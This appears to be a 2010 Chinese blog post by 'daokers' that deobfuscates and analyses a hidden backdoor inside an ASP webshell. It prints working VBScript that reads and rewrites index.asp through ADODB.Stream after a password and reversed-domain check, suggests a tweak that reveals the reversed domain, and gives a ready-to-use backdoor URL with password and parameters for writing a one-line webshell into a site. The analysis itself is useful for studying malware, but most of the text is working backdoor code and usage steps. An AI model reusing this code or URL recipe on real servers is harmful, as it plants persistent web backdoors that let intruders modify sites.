Function Xo(e):e=R(e,”対”,Chr(34)):For psI=1 To Len(e):If Mid(e,psI,1)<>“奌” Then:XoX=Mid(e,psI,1)&XoX:Else:XoX=vbCrlf&XoX:End If:Next:Xo=XoX:End Function
可以看到她还调用了函数R,搜索下这个函数,代码如下
Function R(a,b,c):R = Replace(a,b,c):End Function
就是一个替换语句,Chr(34)的字符是”,那么把R的内容代入Xo,那么XO函数代码就为
Function Xo(e):e=Replace(e,”対”,Chr(34))::For psI=1 To Len(e):If Mid(e,psI,1)<>“奌” Then:XoX=Mid(e,psI,1)&XoX:Else:XoX=vbCrlf&XoX:End If:Next:Xo=XoX:End Function
if session(“webc0fig”)<>UserPass then
if request(“ps0”)<>“” then
if request(“ps0”)=UserPass and StrReverse(Replace(Request.ServerVariables(“SERVER_NAME”),”.”,””))=Request(“c”) then
a=trim(request(“a”))
t=trim(request(“t”))
p=WWWRoot&p
if a<>“” and t<>“” then
w(0)
Response.End()
function w(zo)
On Error Resume Next
if t = 1 then
b=s
c=a&s
if instr(M(p,z)(1),s)=0 Then V(M(p,z)(1)&a,p,z)(1)
else
b=a
c=””
end if
if V(R(M(p,z)(1),b,c),p,z)(1) then RRS “”
if Err.Number = 0 Then
RRS “00”
else
RRS Err.Description
end if
Err.Clear)
end function
end if
session(“webc0fig”)=UserPass
session(“idx”)=2
Session(“FolderPath”)=””
response.redirect url
else
Response.End()
end if
上面的2个函数就是最后一个加密函数Xo加密的内容。
为了方便先将上面的2个函数去掉,整理一下代码。
If Session(“webc0fig”) <> UserPass Then
If request(“ps0”) <> “” Then
If request(“ps0”) = UserPass And StrReverse(Replace(request.ServerVariables(“SERVER_NAME”), “.”, “”)) = request(“c”) Then
a = Trim(request(“a”))
t = Trim(request(“t”))
p = WWWRoot & p
If a <> “” And t <> “” Then
w (0)
Response.End()
End If
Session(“webc0fig”) = UserPass
Session(“idx”) = 2
Session(“FolderPath”) = “”
Response.redirect url
Else
Response.End()
End If
If Session(“webc0fig”) <> UserPass Then
If Request(“ps0”) <> “” Then
If Request(“ps0”) = UserPass And StrReverse(Replace(Request.ServerVariables(“SERVER_NAME”), “.”, “”)) = Request(“c”) Then
a = Trim(Request(“a”))
t = Trim(Request(“t”))
p=WWWRoot&p
If a <> “” And t <> “” Then
w (0)
Response.End()
End If
Session(“webc0fig”) = UserPass
Session(“idx”) = 2
Session(“FolderPath”) = “”
Response.redirect url
Else
Response.End()
End If
Function R(a, b, c)
R = Replace(a, b, c)
End Function
Function w(zo)
On Error Resume Next
If t = 1 Then
b = s
c = a & s
if instr(M(p,z)(1),s) = 0 Then V(M(p,z)(1) & a,p,z)(1)
Else
b = a
c = “”
End If
If V(R(M(p, z)(1), b, c), p, z)(1) Then RRS “”
If Err.Number = 0 Then
RRS “00”
Else
RRS Err.Description
End If
Err.Clear
End Function
Function V(strBody, File, u)
RText = Array(0, “”)
Set objStream = Server.CreateObject(“ADODB.Stream”)
With objStream
.Type = 2
.Open
.Charset = u
.Position = objStream.Size
.WriteText = strBody
On Error Resume Next
.SaveToFile File, 2
If Err Then
RText = Array(Err.Number, Err.Description)
V = RText
Err.Clear
Exit Function
End If
.Close
End With
RText = Array(0, True)
V = RText
Set objStream = Nothing
End Function
Function M(File, u)
RText = Array(0, “”)
Set objStream = Server.CreateObject(“ADODB.Stream”)
With objStream
.Type = 2
.Mode = 3
.Open
.Charset = u
.Position = objStream.Size
On Error Resume Next
.LoadFromFile File
If Err Then
RText = Array(Err.Number, Err.Description)
M = RText
Err.Clear
Exit Function
End If
RText = Array(0, .ReadText)
.Close
End With
M = RText
Set objStream = Nothing
End Function
上面说过登陆时要反转域名,如果一个一个的来很是麻烦,那么我们可以在
Else
Response.End()
End If
这个地方插入一句话
Else
ssss=StrReverse(Replace(Request.ServerVariables(“SERVER_NAME”),”.”,””))
response.write ssss
Response.End()
End If
Function M(File, u)
RText = Array(0, “”)
Set objStream = Server.CreateObject(“ADODB.Stream”)
With objStream
.Type = 2
.Mode = 3
.Open
.Charset = u
.Position = objStream.Size
On Error Resume Next
.LoadFromFile File
If Err Then
RText = Array(Err.Number, Err.Description)
M = RText
Err.Clear
Exit Function
End If
RText = Array(0, .ReadText)
.Close
End With
M = RText
Set objStream = Nothing
End Function
Function V(strBody, File, u)
RText = Array(0, “”)
Set objStream = Server.CreateObject(“ADODB.Stream”)
With objStream
.Type = 2
.Open
.Charset = u
.Position = objStream.Size
.WriteText = strBody
On Error Resume Next
.SaveToFile File, 2
If Err Then
RText = Array(Err.Number, Err.Description)
V = RText
Err.Clear
Exit Function
End If
.Close
End With
RText = Array(0, True)
V = RText
Set objStream = Nothing
End Function
Function w(zo)
On Error Resume Next
If t = 1 Then
b = s
c = a & s
if instr(M(p,z)(1),s) = 0 Then V(M(p,z)(1) & a,p,z)(1)
Else
b = a
c = “”
End If
If V(R(M(p, z)(1), b, c), p, z)(1) Then RRS “”
If Err.Number = 0 Then
RRS “00”
Else
RRS Err.Description
End If
Err.Clear
End Function
t值是需要我们输入的,在这里其实是一个开关的作用。
现在我们看语句
如果T=1,那么
b=s,即b=””
c = a & s, 即c=”test“,也就是将a值放在之前。
if instr(M(p,z)(1),s) = 0 Then V(M(p,z)(1) & a,p,z)(1)
上面分析了,M为读取文件函数,那么M(p,z)(1),的作用就是读取index.asp的内容,然后用instr函数查找”“,如果没有的话,就在文件末尾写入a值。
如果T不等于1,那么
b=a ,即b=”test“
c = “”
现在看
If V(R(M(p, z)(1), b, c), p, z)(1) Then RRS “”
这个语句很巧妙,由于函数r就是一个replace,所以V(R(M(p, z)(1), b, c), p, z)(1) 的作用就是在index.asp中将B替换成c。
如果t=1,那么就将”“替换成”test“,相对于在index.asp中插入test,如果index.asp中没有”“呢,上面说过的if instr(M(p,z)(1),s) = 0 Then V(M(p,z)(1) & a,p,z)(1)
就将完成这个将b写在末尾的任务。不管有没有”“,都将写入a值到文件。
如果T不等于1呢?那么If V(R(M(p, z)(1), b, c), p, z)(1) Then RRS “”将把a值替换掉。
他还有一个功能就是,由于保存函数是在最外层的,那么如果index.asp不存在的话,那么函数r无法读取文件,但是这个函数并没有为空,而是将出错信息作为函数r的结果,那么函数v再保存的话,就相对于新建了一个index.asp。 总之,不管有没有index.asp都将成功写入a值,不管有没有“”也将成功写入a值,这个函数设计的是相对不错的。
好了,到现在,这个函数的功能基本就清楚了。
T是开关,如果T=1,那么将写入a值到index.asp
如果不等于1,那么将从index.asp中清除a值。
测试了一下,写个一句话进去也是可以的。
后门利用语句:http://localhost/shellcode2.asp?ps0=0dlm1c1gi0hr&c=tsohlacol&t=1&a=test
至此,全文也分析完毕。
by daokers
2010.4.10 欢迎在此留言,也欢迎加入刀城交流,此文刀城地址:http://www.daokers.net/read.php?tid=1641 严正声明:转载我的文章可以!但是请加上转载地址!!!